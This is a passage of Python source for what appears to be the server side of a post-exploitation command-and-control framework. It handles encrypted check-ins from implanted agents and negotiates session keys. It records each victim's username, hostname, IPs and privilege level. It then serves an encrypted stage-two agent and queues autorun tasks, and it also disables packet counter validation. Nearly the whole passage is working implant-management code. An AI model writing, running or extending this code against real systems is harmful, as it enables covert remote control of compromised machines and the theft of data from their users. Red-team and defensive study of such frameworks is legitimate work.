            dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents")
            return (200, http.default_page())

        # check if requested resource in is session URIs for any agent profiles in the database
        if (self.is_uri_present(resource)):

            # if the sessionID doesn't exist in the database
            if not self.is_agent_present(sessionID):

                # alert everyone to an irregularity
                dispatcher.send("[!] Agent "+str(sessionID)+" posted results but isn't in the database!", sender="Agents")
                return (404, "")

            # if the ID is currently in the database, process the results
            else:

                # extract the agent's session key
                sessionKey = unhexlify(self.agents[sessionID]['sessionKey'])

                try:
                    # verify, decrypt and depad the packet
                    packet = encryption.aes_decrypt_and_verify(sessionKey, postData)

                    # update the client's last seen time
                    self.update_agent_lastseen(sessionID)

                    # process the packet and extract necessary data
                    #   [(responseName, counter, length, data), ...]
                    responsePackets = packets.parse_result_packets(packet)
                    counter = responsePackets[-1][1]

                    # results = False

                    # # validate the counter in the packet in the setcode.replace
                    # if counter and packets.validate_counter(counter):

                    # TODO: fix the counter validation bug!
                    results = True

                    # process each result packet                        
                    for responsePacket in responsePackets:
                        (responseName, counter, length, data) = responsePacket

                        # process the agent's response
                        self.handle_agent_response(sessionID, responseName, data)

                    if results:
                        # signal that this agent returned results
                        name = self.get_agent_name(sessionID)
                        dispatcher.send("[*] Agent "+str(name)+" returned results.", sender="Agents")

                    # return a 200/valid
                    return (200, "")
                            
                    # else:
                    #     dispatcher.send("[!] Invalid counter value from "+str(sessionID), sender="Agents")
                    #     return (404, "")

                except Exception as e:
                    dispatcher.send("[!] Error processing result packet from %s : %s" %(str(sessionID), e), sender="Agents")
                    return (404, "")

        # step 3 of negotiation -> client posts public key
        elif resource.lstrip("/").split("?")[0] == self.stage1:

            if self.args and self.args.debug:
                dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents")

            # get the staging key for the given listener, keyed by port
            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
            stagingKey = self.listeners.get_staging_information(port=port)[3]

            # decrypt the agent's public key
            try:
                message = encryption.aes_decrypt_and_verify(stagingKey, postData)
            except:
                dispatcher.send("[!] HMAC verification failed from "+str(sessionID), sender="Agents")
                return (404, "")

            if ((len(message) < 1000) or (len(message) > 2500)):
                dispatcher.send("[!] Invalid key post format from "+str(sessionID), sender="Agents")
            else:
                try:
                    int(message)
                except:
                    dispatcher.send("[!] Invalid key post format from "+str(sessionID), sender="Agents")
                    return (404, "")

                # client posts PUBc key
                clientPub = int(message)

                serverPub = encryption.DiffieHellman()
                serverPub.genKey(clientPub)

                # serverPub.key = the negotiated session key
                # return (200, "")

                nonce = helpers.random_string(16, charset=string.digits)

                if self.args and self.args.debug:
                    dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted valid PUB key", sender="Agents")

                # get the staging information for the given listener, keyed by port
                #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit
                config = self.listeners.get_staging_information(port=port)
                delay = config[4]
                jitter = config[5]
                profile = config[6]
                killDate = config[7]
                workingHours = config[8]
                lostLimit = config[11]

                # add the agent to the database now that it's "checked in"
                self.add_agent(sessionID, hexlify(serverPub.key), clientIP, delay, jitter, profile, killDate, workingHours, lostLimit, nonce)

                # step 4 of negotiation -> server returns HMAC(AESn(nonce+PUBs))
                data = str(nonce)+str(serverPub.publicKey)
                encryptedMsg = encryption.aes_encrypt_then_hmac(stagingKey, data)

                # return a 200/valid and encrypted stage to the agent
                return (200, encryptedMsg)

        # step 5 of negotiation -> client posts sysinfo and requests agent
        elif resource.lstrip("/").split("?")[0] == self.stage2:

            if self.is_agent_present(sessionID):

                # if this is a hop.php relay
                if "?" in resource:
                    parts = resource.split("?")
                    if len(parts) == 2:
                        decoded = helpers.decode_base64(parts[1])

                        # get the staging key for the given listener, keyed by port
                        #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
                        config = self.listeners.get_staging_information(host=decoded)

                else:
                    config = self.listeners.get_staging_information(port=port)

                delay = config[4]
                jitter = config[5]
                profile = config[6]
                killDate = config[7]
                workingHours = config[8]
                lostLimit = config[11]

                # get the session key for the agent
                sessionKey = unhexlify(self.agents[sessionID]['sessionKey'])

                try:
                    # decrypt and parse the agent's sysinfo checkin
                    data = encryption.aes_decrypt_and_verify(sessionKey, postData)
                    parts = data.split("|")

                    if len(parts) < 9:
                        dispatcher.send("[!] Agent %s posted invalid sysinfo checkin format: %s" %(sessionID, data), sender="Agents")
                        # remove the agent from the cache/database
                        self.remove_agent(sessionID)
                        return (404, "")

                    # verify the nonce
                    if int(parts[0]) != (int(self.get_agent_nonce(sessionID)) + 1):
                        dispatcher.send("[!] Invalid nonce returned from %s" %(sessionID), sender="Agents")
                        self.remove_agent(sessionID)
                        return (404, "")

                    dispatcher.send("[!] Agent %s posted valid sysinfo checkin format: %s" %(sessionID, data), sender="Agents")

                    listener = parts[1].encode('ascii', 'ignore')
                    username = parts[2].encode('ascii', 'ignore')
                    high_integrity = parts[3].encode('ascii', 'ignore')
                    high_integrity = 1 if high_integrity.lower() == "true" else 0
                    hostname = parts[4].encode('ascii', 'ignore')
                    external_ip = clientIP.encode('ascii', 'ignore')
                    internal_ip = parts[5].encode('ascii', 'ignore')
                    os_details = parts[6].encode('ascii', 'ignore')
                    process_id = parts[7].encode('ascii', 'ignore')
                    py_version = parts[8].encode('ascii', 'ignore')

                except Exception as e:
                    dispatcher.send("[!] Exception in process_post() for %s : %s" %(sessionID, e), sender="Agents")
                    # remove the agent from the cache/database
                    self.remove_agent(sessionID)
                    return (404, "")

                # let everyone know an agent got stage2
                if self.args and self.args.debug:
                    dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents")

                # step 6 of negotiation -> server sends patched agent.py
                agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate, workingHours, lostLimit)

                # update the agent with this new information
                self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, high_integrity=high_integrity, hostname=hostname, os_details=os_details, process_id=process_id, py_version=py_version)

                # encrypt the agent and send it back
                encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)

                # signal everyone that this agent is now active
                dispatcher.send("[+] Initial agent "+str(sessionID)+" from "+str(clientIP) + " now active", sender="Agents")
                output = "[+] Agent " + str(sessionID) + " now active:\n"

                # set basic initial information to display for the agent
                agent = self.mainMenu.agents.get_agent(sessionID)

                keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "process_id", "hostname", "os_details", "session_key", "nonce", "checkin_time", "lastseen_time", "servers", "uris", "old_uris", "user_agent", "headers", "kill_date", "working_hours", "py_version", "lost_limit"]

                agentInfo = dict(zip(keys, agent))

                for key in agentInfo:
                    output += "  %s\t%s\n" % ('{0: <16}'.format(key), messages.wrap_string(agentInfo[key], width=70))

                # save the initial sysinfo information in the agent log
                self.save_agent_log(sessionID, output + "\n")

                # if a script autorun is set, set that as the agent's first tasking
                autorun = self.get_autoruns()
                if autorun and autorun[0] != '' and autorun[1] != '':
                    self.add_agent_task(sessionID, autorun[0], autorun[1])

                return(200, encryptedAgent)

            else:
                dispatcher.send("[!] Agent "+str(sessionID)+" posted sysinfo without initial checkin", sender="Agents")
                return (404, "")

        # default behavior, 404
        else:
            return (404, "")